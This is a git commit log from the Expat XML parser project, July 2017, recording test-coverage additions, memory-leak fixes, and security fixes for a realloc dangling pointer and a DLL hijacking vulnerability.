Rhodri James c1541fa19a Ignore directories created by coverage script 2017-07-22 22:49:16 +02:00
Rhodri James 043e9923a3 Fix LCOV exclusion symbols in xmlparse.c 2017-07-22 22:49:16 +02:00
Rhodri James 5f06552ba3 Comment why negative blocksize in poolGrow is hard to test
Also add comment tags for lcov to ignore untestable code
2017-07-22 22:49:16 +02:00
Rhodri James 97aa338029 Comment why negative blocksize in poolGrow is hard to test
Add comment tags so lcov can ignore untestable code
2017-07-22 22:49:16 +02:00
Rhodri James c6236c8a59 Comment why poolCopyStringN is not entered with an empty string pool
Also add comment tags so that lcov can ignore unreachable code.
2017-07-22 22:49:16 +02:00
Rhodri James f8505ea55b Comment why an unbound prefix in getContext is believed impossible
Also add comment tags so that lcov can ignore unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James e35f05fb5f Comment why allocation failure in getContext is believe impossible.
Also add comment tags so lcov can ignore unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James d81e238f96 Comment why encoding change in reportDefault is believed never to happen
Also add comment tags so that lcov can ignore unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James fc3a968f47 Comment why default case in storeEntityValue is never executed
Also add comment tags so lcov can ignore unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James 92cf2a3179 Remove unreachable error code in character ref handling 2017-07-22 22:49:16 +02:00
Rhodri James 10103bcd04 Comment why defaul case in appendAttreibuteValue is never executed
Also add comment tags so that lcov can ignore unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James f7229958bf Comment why encoding check in appendAttributeValue is never true
Also add comment tag so lcov can ignore unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James 758e83d100 Remove unreachable error handling code in character ref handling 2017-07-22 22:49:16 +02:00
Rhodri James ea51dfcbdb Comment why internal entity in param entity is believe impossible.
Also add comment tags to allow lcov to ignore unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James fc64cd121d Comment why external subset name lookup cannot fail
Also add comment tag so that lcov can ignore unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James d6549087b4 Remove unreachable code in entityValueInitProcessor 2017-07-22 22:49:16 +02:00
Rhodri James e1a7cc2712 Comment why doIgnoreSection's default case is never called.
Also add comment tags so that lcov can ignore unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James 860933367a Comment why doIgnoreSection is believed to always use the parser's encoding
Also add comment tags so that lcov can ignore the unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James 5214e4427a Comment why doCdataSection's default case is never executed.
Also add comment tags so that lcov can ignore the unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James 766d6d3509 Comment why code in storeAtts() is never executed.
Also add comment tags so lcov can ignore the unreachable code
2017-07-22 22:49:16 +02:00
Rhodri James 351a8cb321 Comment why doContent's default case is never executed.
Also add comment markers so lcov can ignore the unreachable code.
2017-07-22 22:49:16 +02:00
Rhodri James a420a3b8ef Comment why tidy-up parse cannot be suspended
Also add tags so that lcov can ignore the unreachable code.
2017-07-22 22:49:16 +02:00
Rhodri James 1754bafba0 Test parsing element in namespace with a failing allocator 2017-07-22 22:49:16 +02:00
Rhodri James 704d03ef40 Test extremely long namespace prefix
Exercises a path in poolGrow that requires attempting to over-fill
a gap of more than 1024 characters in a non-empty pool.
2017-07-22 22:49:16 +02:00
Rhodri James 64f1b1b995 Test large element group with a failing allocator 2017-07-22 22:49:16 +02:00
Rhodri James 187650bad9 Test long notation value with external entity and failing allocator 2017-07-22 22:49:16 +02:00
Rhodri James a40d23df08 Move external_entity_optioner up to be more generally available
No functionality changes in this commit
2017-07-22 22:49:16 +02:00
Rhodri James eb99fe2529 Test long entity value and external entity with duff allocator 2017-07-22 22:49:16 +02:00
Rhodri James fcae5d20aa Test external entity with long public ID and failing allocator 2017-07-22 22:49:16 +02:00
Rhodri James 1ce3d9049a Test long base URI for external parser with duff allocator 2017-07-22 22:49:16 +02:00
Rhodri James 75d3141f31 Test long entity system ID in external parser with failing allocator 2017-07-22 22:49:15 +02:00
Rhodri James b03edfd961 Test with long default attribute for ext parser with duff allocator 2017-07-22 22:49:15 +02:00
Rhodri James ec167d305c Test longer context URI with a failing reallocator 2017-07-22 22:49:15 +02:00
Rhodri James 6aecdba977 Test a long URI in the context string with a failing allocator 2017-07-22 22:49:15 +02:00
Rhodri James 4282072d9c Test long namespace in external entity context with duff reallocator 2017-07-22 22:49:15 +02:00
Rhodri James 4fe873c62b Test long general entity name in external DTD with failing realloc 2017-07-22 22:49:15 +02:00
Rhodri James 126c0e8459 Test shorter long context URI with a failing reallocator
One last code path to exercise
2017-07-22 22:49:15 +02:00
Rhodri James 2950c7ac09 Again test long context URI against a failing reallocator
Another different code path
2017-07-22 22:49:15 +02:00
Rhodri James 67f238b794 Refactor context URI reallocation tests 2017-07-22 22:49:15 +02:00
Rhodri James ae9fe3c614 Test shorter context URI in the face of a failing reallocator
Yet another different code path exercised
2017-07-22 22:49:15 +02:00
Rhodri James 1136aceaa3 Test different length context URI with duff reallocator
Exercises another different code path
2017-07-22 22:49:15 +02:00
Rhodri James f4e09d7d5d Test slightly shorter context URI with duff allocator
Exercises a different code path to previous context test
2017-07-22 22:49:15 +02:00
Rhodri James 464aefaccc Test appropriately long context URI with a failing reallocator 2017-07-22 22:49:15 +02:00
Rhodri James 90f5d5e833 Test not-so-long namespace with failing allocator 2017-07-22 22:49:15 +02:00
Rhodri James ddd6a15043 Test long namespace with failing allocator 2017-07-22 22:49:15 +02:00
Rhodri James 02a9d765d6 Test long root element name with a failing allocator 2017-07-22 22:49:15 +02:00
Rhodri James 96afb81e9a Test longer namespace prefix with failing reallocator 2017-07-22 22:49:15 +02:00
Rhodri James a5e1e0b94b Test long namespace prefix with a failing reallocator 2017-07-22 22:49:15 +02:00
Rhodri James e64102e71e Test handling long attribute list with a failing reallocator 2017-07-22 22:49:15 +02:00
Rhodri James aa04847906 Test that comments reach the default handler 2017-07-22 22:49:15 +02:00
Rhodri James a7b6aea376 Test processing instruction with long body and duff allocator 2017-07-22 22:49:15 +02:00
Rhodri James 0a3a399d45 Test processing instruction reaches default handler if no PI handler 2017-07-22 22:49:15 +02:00
Rhodri James 5e4a2d6e6c Test char entity extending param entity with failing reallocator 2017-07-22 22:49:14 +02:00
Rhodri James afe4ad3830 Silence overly-pessimistic compiler warning.
The parsed_version structure will be fully filled in if parse_version
returns a non-zero value, but initializing the variable to zero is a
trivial cost for the tests.
2017-07-22 22:49:14 +02:00
Rhodri James 5d75b0ae62 Test invalid character reference is faulted 2017-07-22 22:49:14 +02:00
Rhodri James 4792f7af1c Test expanding a param entity's string pool with a failing allocator 2017-07-22 22:49:14 +02:00
Rhodri James 87967e3623 Test trailing CR in a PE value is interpreted as a newline 2017-07-22 22:49:14 +02:00
Rhodri James 065ade6080 Test error in nested external entity substitution 2017-07-22 22:49:14 +02:00
Rhodri James cb4f7250ac Test another different code path for skipped external entity 2017-07-22 22:49:14 +02:00
Rhodri James 49a38e6291 Test different code path for skipping missing external entity 2017-07-22 22:49:14 +02:00
Rhodri James 09aef7e7e3 Test recursive parameter entity 2017-07-22 22:49:14 +02:00
Rhodri James b641ecffa1 Test missing external entity is skipped 2017-07-22 22:49:14 +02:00
Rhodri James 74a7cdc0ae Test general entity substitution in standalone internal param entity 2017-07-22 22:49:14 +02:00
Rhodri James 2ad7887d85 Test attribute value of a predefined entity with a duff allocator 2017-07-22 22:49:14 +02:00
Rhodri James ee46bf0b44 Test whitespace attribute value with dodgy allocator 2017-07-22 22:49:14 +02:00
Rhodri James a84705afc2 Test attribute value with trailing CR 2017-07-22 22:49:14 +02:00
Rhodri James 52e0daa410 Test long attribute value with failing allocator 2017-07-22 22:49:14 +02:00
Rhodri James 18106f4d58 Test long attribute value with character ref and a failing allocator
Tests strictly that a character reference at the end of a long default
value for an attribute will trigger the relevant string pool to grow,
and will recover correctly if there is no memory for growth
2017-07-22 22:49:14 +02:00
Rhodri James 8b5902c886 Test incomplete param ref in attribute default is rejected 2017-07-22 22:49:14 +02:00
Rhodri James 667d9cab63 Test invalid character in default attribute is rejected 2017-07-22 22:49:14 +02:00
Rhodri James 02dfd4b377 Test long attribute with a dodgy reallocator
This tests a specific code path through parameter substitution, and
requires the attribute value to come out to 1024 bytes PLUS a terminal
NUL to trigger growth of the string pool in use.  The NUL is added
separately, and it is that string append that we are triggering on.
2017-07-22 22:49:14 +02:00
Rhodri James bf27884912 Test restarting an errored parser returns the same error 2017-07-22 22:49:14 +02:00
Rhodri James 4b9056ae17 Check that resumed general entity parse can be re-suspended 2017-07-22 22:49:14 +02:00
Rhodri James aae811152f Test resuming a general entity catches XML errors 2017-07-22 22:49:14 +02:00
Rhodri James 28e9820bcd Test suspending and resuming parse in parameter entity substitution 2017-07-22 22:49:14 +02:00
Rhodri James f9c01d3bae Test suspending and resuming parse during entity substitution 2017-07-22 22:49:14 +02:00
Rhodri James 9edf18d4ef Add test to ensure a hash collision while expanding hash table
This is purely an exercise in code coverage; there is no user-level
way of telling that the hash table has been expanded or that a
collision occurred.
2017-07-22 22:49:14 +02:00
Rhodri James 440df48dc3 Test suspending parse during epilog 2017-07-22 22:49:13 +02:00
Rhodri James 9528e62a1e Test aborting in the epilog not from a CR character 2017-07-22 22:49:13 +02:00
Rhodri James ecfd3f15ad Test handling of partial characters at the end of the epilog 2017-07-22 22:49:13 +02:00
Rhodri James 4bec1abfd4 Test incomplete token in epilog 2017-07-22 22:49:13 +02:00
Rhodri James 1cab6d80f5 Test comment in epilog with failing allocator 2017-07-22 21:57:20 +02:00
Rhodri James 208d652559 Test PI handling in epilog with a failing allocator 2017-07-22 21:57:20 +02:00
Rhodri James 8a8c871723 Extend abort test to cover more epilog code 2017-07-22 21:57:20 +02:00
Rhodri James eefb733dc7 Test aborting parse during epilog processing 2017-07-22 21:57:20 +02:00
Rhodri James e8d8c84e3e Test suspending parse during an XML declaration 2017-07-22 21:57:20 +02:00
Rhodri James 6b2ead89fb Shuffle code to keep similar things together.
No functional changes
2017-07-22 21:56:11 +02:00
Rhodri James b690ac32c1 Test group with many elements and a failing reallocator 2017-07-22 21:52:47 +02:00
Rhodri James 46c39a18c1 Test deeply nested group parsing with a failing allocator 2017-07-22 21:52:47 +02:00
Rhodri James 1ca9975b91 Add test for external parameter entity with "not standalone" handler 2017-07-22 21:52:47 +02:00
Rhodri James 6e63cc24bd Test external param entity with no further external parser 2017-07-22 21:52:47 +02:00
Rhodri James 79d190acef Test undefined system parameter entity in external DTD 2017-07-22 21:52:46 +02:00
Rhodri James b76c65d111 Test recursive parameter entity is rejected 2017-07-22 21:52:46 +02:00
Rhodri James 80552b5c60 Test skipped parameter entity in external DTD triggers handler 2017-07-22 21:52:46 +02:00
Rhodri James ff15a49746 Review 2017-03-13: refactor XML_Expat_Version test
Also revised to allow for the different definitions of XML_LChar.
Previous versions will not have worked in XML_UNICODE builds.
2017-07-22 21:52:16 +02:00
Rhodri James 78a68b76e3 Review 2017-03-13: construct test string to avoid magic numbers 2017-07-22 21:50:58 +02:00
Rhodri James d697e27038 Review 2017-03-13: replace magic number with appropriate string len 2017-07-22 21:50:57 +02:00
Rhodri James be42a4ae1f Remove warning about potentially unset variable in tests
Also make test function external_entity_public() more robust
against misuse.
2017-07-22 21:48:17 +02:00
Rhodri James 1d086b2915 Test standalone parameter entity coverage 2017-07-22 21:46:17 +02:00
Rhodri James 1adb2438d0 Test substituted public entity with long name against failing realloc 2017-07-22 21:46:17 +02:00
Rhodri James 3c526f6d6c Test group with choice in element declaration 2017-07-22 21:46:17 +02:00
Rhodri James da5c188913 Add element decl handler to nested group reallocation test 2017-07-22 21:46:17 +02:00
Rhodri James 260a7644d7 Add element declaration handler to nested group test 2017-07-22 21:46:17 +02:00
Rhodri James 1bb33c7027 Test nested groups with a failing reallocator 2017-07-22 21:46:16 +02:00
Rhodri James 507c2e5c9b Test deeply-nested groups 2017-07-22 21:46:16 +02:00
Rhodri James 383e762f8c Test public notation with no system ID 2017-07-22 21:46:16 +02:00
Rhodri James d4bc5da92b Test system notation with failing allocator 2017-07-22 21:46:16 +02:00
Rhodri James 6ae8e2777e Test public notation with long system ID against failing allocator 2017-07-22 21:46:16 +02:00
Rhodri James 1044af1f31 Extend notation allocation test with notation declaration handler
This extends the code coverage a little, in particular checking
another allocation failure path.
2017-07-22 21:46:16 +02:00
Rhodri James 5a1f46a87d Extend PE allocation test with long entity name 2017-07-22 21:46:16 +02:00
Rhodri James cc6edd8913 Test DTD processing stops for undefined parameter entities 2017-07-22 21:46:16 +02:00
Rhodri James 4608ff10be Test redefining predefined entities 2017-07-22 21:46:16 +02:00
Rhodri James b30bd12020 Add entity decl handler to notation entity allocation test 2017-07-22 21:46:16 +02:00
Rhodri James 775e63708d Test notation entity with failing allocator 2017-07-22 21:46:16 +02:00
Rhodri James 71e8442db9 Extend NotStandalone tests to also exclude external entity handlers 2017-07-22 21:46:16 +02:00
Rhodri James fab38d3fc0 Test public doctype with long public name against failing allocator 2017-07-22 21:46:16 +02:00
Rhodri James ee957bb60a Test attribute with defaulted long enums and a failing reallocator 2017-07-22 21:46:16 +02:00
Rhodri James e909b67123 Test attribute list with a NOTATION and default value 2017-07-22 21:46:16 +02:00
Rhodri James 5f124f4e7c Test attribute with implied large enum with a failing reallocator 2017-07-22 21:46:16 +02:00
Rhodri James 98ead688f1 Expand attribute declaration test 2017-07-22 21:46:16 +02:00
Rhodri James 9bb1b1e554 Test attribute list handling with #REQUIRED 2017-07-22 21:46:16 +02:00
Sebastian Pipping 5a642dd1e5 runtests.c: Resolve setting handlers twice
Was introduced at cherry-pick ab53439060
by mistake.
2017-07-22 21:39:56 +02:00
Sebastian Pipping 04ea5302cd runtests.c: Fix memleaks 2017-07-22 21:36:55 +02:00
Rhodri James 58ecc804be Test long attribute enums with a failing reallocator 2017-07-22 21:31:49 +02:00
Rhodri James f1b5c14b96 Test attribute enum handling with failing allocator 2017-07-22 21:31:45 +02:00
Rhodri James 66435cff61 Test attribute enum value handling 2017-07-22 21:31:40 +02:00
Rhodri James 8857da5a65 Test foreign DTD with no contents 2017-07-22 21:31:12 +02:00
Rhodri James cfcfd4685f Test foreign DTD with rejecting standalone handler 2017-07-22 21:31:07 +02:00
Rhodri James 060c12bc19 Test Foreign DTD setting with failing allocator 2017-07-22 21:31:02 +02:00
Rhodri James f03d06a8c1 Test XML_UseForeignDTD without external subset 2017-07-22 21:30:57 +02:00
Rhodri James 234c654c19 Test XML_UseForeignDTD with a doctype 2017-07-22 21:30:52 +02:00
Rhodri James 4c197b0ef9 Add entity declaration handler to public parameter entity test 2017-07-22 21:30:47 +02:00
Rhodri James 604a527186 Test long public name in doctype allocator test 2017-07-22 21:30:42 +02:00
Rhodri James 8d42ab97d9 Test invalid name for public doctype 2017-07-22 21:30:37 +02:00
Rhodri James ddddcfd393 Expand public doctype allocation test 2017-07-22 21:30:32 +02:00
Rhodri James 9223704553 Test allocation failure paths parsing a public doctype 2017-07-22 21:30:27 +02:00
Rhodri James 8babc25e44 Test public parameter entity with failing allocator 2017-07-22 21:30:22 +02:00
Rhodri James e57d2413a1 Test various errors in parameter entity values 2017-07-22 21:30:17 +02:00
Rhodri James 78138c87f4 Test invalid character in foreign DTD parameter entity 2017-07-22 21:30:12 +02:00
Rhodri James e5d84961bb Fix error reporting in external entity test handler 2017-07-22 21:29:55 +02:00
Rhodri James 9de593495c Test UTF-8 byte order mark in parameter entity value parsing 2017-07-22 21:29:13 +02:00
Rhodri James c45340e138 Test aborting external entity value parser 2017-07-22 21:29:08 +02:00
Rhodri James 2cbcf88443 Test malformed XML/text declaration rejected by ext entity parser 2017-07-22 21:29:03 +02:00
Rhodri James 1d80cc21a8 Test XML declaration in external entity processing 2017-07-22 21:28:57 +02:00
Rhodri James ac16e93789 Extend external parameter entity nested parser testing 2017-07-22 21:28:50 +02:00
Sebastian Pipping 782bb8a9a5 runtests.c: Fix memleaks 2017-07-22 21:28:20 +02:00
Rhodri James e6dbd40799 Test nested external parser handling 2017-07-22 21:27:02 +02:00
Rhodri James 71c4f59886 Test unknown encoding handling in external parameter entity handler 2017-07-22 21:25:54 +02:00
Rhodri James 1fbdc13dcb Test a bad encoding is rejected at initialisation time 2017-07-22 21:25:49 +02:00
Rhodri James ac40d1ed35 Test declaring a UTF-16 encoding while actually in UTF-8 is rejected 2017-07-22 21:25:44 +02:00
Rhodri James 80a32d09de Test XML declaration with long encoding name and failing allocator 2017-07-22 21:25:39 +02:00
Rhodri James 50ce682021 Test XML declaration handling with a duff allocator 2017-07-22 21:25:34 +02:00
Rhodri James 5279d9c588 Test external entity parsing suppressed with UNLESS_STANDALONE parameter 2017-07-22 21:25:29 +02:00
Rhodri James e8ae6734bc Test partial UTF-8 characters in IGNORE section 2017-07-22 21:25:24 +02:00
Rhodri James 9948d7cdfc Refactor to reduce proliferation of external entity handlers 2017-07-22 21:18:57 +02:00
Sebastian Pipping f324064d93 Merge branch 'realloc-dangling-pointer' (pull request #85) 2017-07-20 22:18:59 +02:00
Sebastian Pipping aa82b779bd Changes: Document dangling pointer fix 2017-07-20 22:17:52 +02:00
Sebastian Pipping 786d7abfcd xmlparse.c: Fix dangling pointer caused by use of realloc
Variables pool->ptr and pool->start point to addresses
that may have been freed if realloc chose the path of
a new base address.  So we do the math on these pointers
while they are not dangling, yet.

For a related article:
http://trust-in-soft.com/dangling-pointer-indeterminate/
2017-07-20 22:16:09 +02:00
Sebastian Pipping f48b24b454 Merge branch 'dll-hijacking' (pull request #83) 2017-07-19 20:24:52 +02:00
Sebastian Pipping 99fb4b57f8 xmlparse.c: Fix DLL hijacking vulnerability (#82) 2017-07-19 20:19:37 +02:00
Sebastian Pipping c5897e8c14 xmlparse.c: Fix comment typo 2017-07-19 20:19:07 +02:00
Sebastian Pipping 391fd85fb5 Merge branch 'arc4random-osx-pre-10-7' (pull request #84) 2017-07-19 15:44:52 +02:00
Sebastian Pipping 8c62e0aad1 Support arc4random for pre-10.7/Lion macOS 2017-07-19 15:39:33 +02:00
Sebastian Pipping 947879849f Rely on HAVE_ARC4RANDOM_BUF for CloudABI 2017-07-19 15:36:48 +02:00
Sebastian Pipping 5f1f1f1d98 Merge branch 'coverage' 2017-07-16 23:07:23 +02:00
Sebastian Pipping fc6a6c2e80 runtests.c: Fix indentation 2017-07-16 23:07:03 +02:00
Rhodri James d164cd59f9 Change all URLs to use example.org 2017-07-16 23:07:03 +02:00
Rhodri James eb3b5c3fc0 Use meaningful constants for return values from handlers 2017-07-16 23:07:03 +02:00
Rhodri James c1a29e9ad6 Tweak attribute list to improve test coverage 2017-07-16 23:07:02 +02:00
Rhodri James d9fce70b6f Test reallocation of attribute list with failing reallocator 2017-07-16 23:02:30 +02:00
Rhodri James e24cf7a9cf Tweak test_alloc_external_entity to improve code coverage 2017-07-16 23:02:30 +02:00
Rhodri James 0153af32fb Extend skip handler test coverage 2017-07-16 23:02:30 +02:00
Rhodri James ce81d26087 Test features are appropriately set 2017-07-16 23:02:30 +02:00
Rhodri James 2393c3fe26 Test predefined entities 2017-07-16 23:02:30 +02:00
Rhodri James ec93648563 Make final reallocation test safe 2017-07-16 23:02:30 +02:00
Rhodri James deeb8f2aae Test robustness against failing reallocator for parsing long names 2017-07-16 23:02:30 +02:00
Rhodri James fe4f238660 Refactor long test data string 2017-07-16 23:02:30 +02:00
Rhodri James c87613c958 Extend XML_GetBuffer testing coverage 2017-07-16 23:02:30 +02:00
Rhodri James 991693f12b Fix message in XML declaration handler 2017-07-16 23:02:30 +02:00
Rhodri James a7884ded31 Restore groupSize if (re)allocation of groupConnector fails 2017-07-16 23:02:30 +02:00
Rhodri James ab53439060 Ensure unparsed entity handler gets set
Revise dummy handlers to flag when they are executed, and ensure
that they are executed in the test.  Add XML to get the deprecated
unparsed entity handler executed, and ensure that the allocation
check fails each possible allocator in sequence despite the
caching of some allocations in the parser object.

NOTE that this commit does not pass check because of an allocation
bug.
2017-07-16 23:02:30 +02:00
Rhodri James 85ed69eaf9 Split combined triplet_count into two distinct flags 2017-07-16 23:02:30 +02:00
Sebastian Pipping 26175e6a44 Revert "Fix structure initialisation not to cause warnings"
This reverts commit 894033fab8.
2017-07-16 23:02:30 +02:00
Sebastian Pipping a649fa260d Merge branch 'coverage' 2017-07-16 19:09:09 +02:00
Sebastian Pipping 317a023df2 runtests.c: Fix memleaks 2017-07-16 19:07:50 +02:00
Rhodri James 23e64e1fbc Increase test coverage of ignore section processing 2017-07-16 19:05:03 +02:00
Rhodri James 6cacca3987 Refactor previous test to use existing test functions 2017-07-16 19:04:55 +02:00
Rhodri James 7a3664ab29 Test a broken IGNORE section is faulted 2017-07-16 19:04:44 +02:00
Rhodri James da0bac99ad Exercise conditional exclusion code 2017-07-16 19:04:13 +02:00
Rhodri James 7495f28469 Test suspending the parse in the middle of CDATA handling 2017-07-16 19:02:26 +02:00
Rhodri James 23c488c8fd Test aborting parse while processing CDATA 2017-07-16 19:02:21 +02:00
Rhodri James 1a8297c54c Test a variety of incomplete UTF-16 CDATA strings 2017-07-16 19:02:14 +02:00
Rhodri James 9ac26205bc Test handling of UTF-16 supplementary plane characters 2017-07-16 19:01:54 +02:00
Rhodri James e932825e22 Test long UTF-16 CDATA (more than internal buffer size) 2017-07-16 19:01:38 +02:00
Rhodri James fa37a8069a Test CDATA correctly runs through a default handler
In particular exercises a code path dealing with newlines
2017-07-16 19:01:20 +02:00
Rhodri James b86bec407b Test handling of CDATA in an external entity parser 2017-07-16 19:01:14 +02:00
Rhodri James 47003df13d Test reallocation of URI in re-used binding with dodgy reallocator 2017-07-16 19:00:57 +02:00
Rhodri James 757ac4cb0e Test w3.org xmlns URL is correctly rejected 2017-07-16 19:00:44 +02:00
Rhodri James c7d2fc3020 Test rejection of invalid attribute 'xml' and use of w3.org 2017-07-16 19:00:36 +02:00
Rhodri James a2302df9b6 Test for correct rejection of 'xmlns' as an attribute 2017-07-16 19:00:30 +02:00
Rhodri James 1ead467e3c Test extension of URI buffer shared between element tags 2017-07-16 19:00:24 +02:00
Rhodri James d8651ffbe8 Test medium-length element name with namespaces and a failing allocator 2017-07-16 19:00:18 +02:00
Rhodri James ea6ab8be03 Test mixed prefixed and unprefixed attributes in a namespace 2017-07-16 18:59:49 +02:00
Rhodri James cbfc54ee2f Test allocator handling of attribute with long namespace 2017-07-16 18:59:34 +02:00
Sebastian Pipping 8eda8b3c9e runtests.c: Fix memleaks 2017-07-16 18:58:21 +02:00
Rhodri James 1c0ecf1b95 Test attribute table hash collision handling 2017-07-16 18:56:24 +02:00
Rhodri James d526cd09f7 Test long attribute names in a namespace with failing allocator 2017-07-16 18:56:24 +02:00
Rhodri James ade4c402af Extend test coverage of external entity handler parameters 2017-07-16 18:56:24 +02:00
Rhodri James d69a504a5a Comment change: explain why attribute count is twice what you expect 2017-07-16 18:56:23 +02:00
Rhodri James b1bea33582 Check NULLing the encoding works before the parse is started 2017-07-16 18:56:23 +02:00
Rhodri James 1056c797dd Test for specific error from XML_UseForeignDTD() 2017-07-16 18:56:23 +02:00
Rhodri James 894033fab8 Fix structure initialisation not to cause warnings 2017-07-16 18:56:23 +02:00
Rhodri James 53e1698aa3 Add test case for long URIs in attributes with failing allocator 2017-07-16 18:56:23 +02:00
Rhodri James c90f4bc24c Restore original nsAttsSize if reallocation fails 2017-07-16 18:56:23 +02:00
Rhodri James 41ab4fd94a Test reallocation failure in xmlns attribute handling
Note that this commit provokes a segfault due to a bug in
storeAtts()
2017-07-16 18:56:23 +02:00
Rhodri James f748d87811 Test rejection of unbound prefix, improve coverage of attribute handling 2017-07-16 18:56:23 +02:00
Rhodri James 9f844cac4a Revert recorded size of attribute memory when reallocation fails 2017-07-16 18:56:23 +02:00
Rhodri James edfcd16b98 Test long namespace names (1024 characters) 2017-07-16 18:56:23 +02:00
Rhodri James 8dabab1576 Refactor namespace allocation tests 2017-07-16 18:56:23 +02:00
Rhodri James 20c12da662 Extend code path coverage of entity handling 2017-07-16 18:56:23 +02:00
Rhodri James f591474e62 Add test coverage for comments with a failing allocator 2017-07-16 18:43:34 +02:00
Rhodri James 8f3d13188b More coverage of PIs with failing allocator 2017-07-16 18:43:18 +02:00
Rhodri James a1cffcb4ea Test parsing a PI with a failing allocator 2017-07-16 18:42:33 +02:00
Rhodri James 97ad97e9e9 Expand really long line test for encoded CDATA handling 2017-07-16 18:42:23 +02:00
Rhodri James ef26a78837 Test right square bracket handling in external entity parses 2017-07-16 18:41:49 +02:00
Rhodri James a3a68a412d More tests for the right square bracket control paths 2017-07-16 18:41:33 +02:00
Rhodri James 8bdf2bc102 Test handling of right square bracket at end of content data 2017-07-16 18:41:23 +02:00
Rhodri James fe2e255025 Extend ASCII CDATA test to cover a default handler 2017-07-16 18:41:08 +02:00
Rhodri James 213c8523a3 Add CDATA section handlers for increased test coverage 2017-07-16 18:41:03 +02:00
Rhodri James 05fe0bd6c9 Add default handler to namespace failing allocation test
Increases code coverage.  Also tweaked allocation counts for
better coverage
2017-07-16 18:40:52 +02:00
Rhodri James e92f989efe Add default handlers to character entity tests to extend coverage 2017-07-16 18:40:41 +02:00
Rhodri James dabb530d17 Extend coverage of namespace start and end handlers 2017-07-16 18:40:33 +02:00
Rhodri James 41524fed85 Test external entity with no handler 2017-07-16 18:40:05 +02:00
Rhodri James 9a7d8d2c3f Tweak tests for greater allocation failure coverage 2017-07-16 18:39:56 +02:00
Rhodri James 7653beecee More external entity allocation failure coverage 2017-07-16 18:39:42 +02:00
Rhodri James f71790ccf9 Extend coverage of partial character parsing 2017-07-16 18:37:31 +02:00
Rhodri James 6cfef69705 Test trailing CR in external entity parse 2017-07-16 18:37:17 +02:00
Rhodri James 15ef260f6b Test handling of trailing CR (rather than newline) 2017-07-16 18:37:00 +02:00
Sebastian Pipping 5354505d4c Merge branch 'coverage-review' 2017-07-16 18:33:07 +02:00
Sebastian Pipping b24ecb9d46 runtests.c: Fix memleaks 2017-07-16 18:27:00 +02:00
Rhodri James df0138ac3f Extend test coverage of external entity suspension 2017-07-16 18:23:44 +02:00
Rhodri James 80394e1792 Test suspending from an external entity's XML declaration handler 2017-07-16 18:23:20 +02:00
Sebastian Pipping ae39cb321f Merge branch 'coverage-review' 2017-07-16 02:11:54 +02:00
Sebastian Pipping 5c07211b84 runtests.c: Fix memory leaks 2017-07-16 02:09:23 +02:00
Sebastian Pipping 738162b60c runtests.c: Polish test_ext_entity_invalid_parse 2017-07-16 02:06:29 +02:00
Rhodri James 7b9b40bcee Refactor and extend external entity parse error testing 2017-07-16 02:01:30 +02:00
Rhodri James 6381273b8b Check parse errors in external entity parsers 2017-07-16 01:59:28 +02:00
Rhodri James 24e16ecbd8 Test UTF-8 BOM is recognised in UTF-8 external entity 2017-07-16 01:58:07 +02:00
Rhodri James ab53e5da3f Test unknown encoding in external entity parser (increase coverage) 2017-07-16 01:55:23 +02:00
Rhodri James 0f403d1d5d Check handling of long element names with namespaces 2017-07-16 01:52:59 +02:00
Rhodri James da93b3992a Refactor allocator test support 2017-07-16 01:44:33 +02:00
Sebastian Pipping 9bacf1735f Merge branch 'travis-ci' (issue #23) 2017-07-15 19:48:55 +02:00
Sebastian Pipping 7e84c8cafc Travis CI: Ensure that Clang 4.0 is installed 2017-07-15 19:48:47 +02:00
Sebastian Pipping 4f81bb01c1 qa.sh: Use clang for mode "address" to detect memory leaks (#23) 2017-07-15 19:48:47 +02:00
Sebastian Pipping 7bc4aa61ae qa.sh: Rename BASE_FLAGS to BASE_COMPILE_FLAGS 2017-07-15 19:48:45 +02:00
Sebastian Pipping cdd5b17ea7 Merge branch 'make-check-memory' (issue #23) 2017-07-15 19:15:49 +02:00
Sebastian Pipping 86c00d7f64 Changes: Document test suite memleak fixes 2017-07-15 19:14:49 +02:00
Sebastian Pipping 483803255d minicheck.c: Protect against potential NULL dereference 2017-07-15 19:14:49 +02:00
Sebastian Pipping 7c82b0b4ab minicheck.c: Rename *_dispose to *_free 2017-07-15 19:07:30 +02:00
Rhodri James c5b129e597 Free the external entity parser in external_entity_loader_set_encoding()
Removes the last of the memory leaks detected by AddressSanitizer
in the test suite (see Issue #23)
2017-07-14 17:55:51 +01:00
Rhodri James e4bfe3c7d1 Free all the data structures associated with test cases.
Removes some of the memory leaks discovered by AddressSanitizer
in the test suite (see Issue #23)
2017-07-14 17:53:56 +01:00
Rhodri James 38c1ce7cd5 Free the content model in dummy_element_decl_handler()
Removes some of the memory leaks found by AddressSanitizer in
the test suite (see Issue #23)
2017-07-14 17:33:59 +01:00
Rhodri James d350a6cb0d Free external entity parser in external_entity_param()
Removes some of the memory leaks detected by AddressSanitizer in
the test suite (see Issue #23).
2017-07-14 17:22:54 +01:00
Rhodri James 8cdcb7219d Free external entity parser in external_entity_suspender()
Removes some memory leaks detected by AddressSanitizer in
the test suite (see Issue #23)
2017-07-14 17:15:12 +01:00
Rhodri James 448cd2acac Free external entity parser in external_entity_param_checker()
Removes some of the memory leaks detected by AddressSanitizer
in the test suite (see Issue #23)
2017-07-14 17:13:22 +01:00
Rhodri James a7db7a1c1a Free external entity parser in external_entity_resetter() when done
Deals with some of the memory leaks found by AddressSanitizer in
the test suite (Issue #23)
2017-07-14 17:03:25 +01:00
Rhodri James d3b3f7fa48 Free external entity parser in external_entity_loader() when done.
Removes some memory leaks detected by AddressSanitizer in the
test suite (see Issue #23)
2017-07-14 17:02:34 +01:00
Rhodri James 18be28458b Use correct parser to signal failure in external_entity_loader() 2017-07-14 16:49:50 +01:00
Sebastian Pipping 7c3eedb20b xmlparse.c: Adjust _GNU_SOURCE define in favor of Python (#77) 2017-07-12 23:55:49 +02:00
Sebastian Pipping c5daa8c0b1 Changes: Improve 2.2.2 security notes 2017-07-12 23:00:19 +02:00
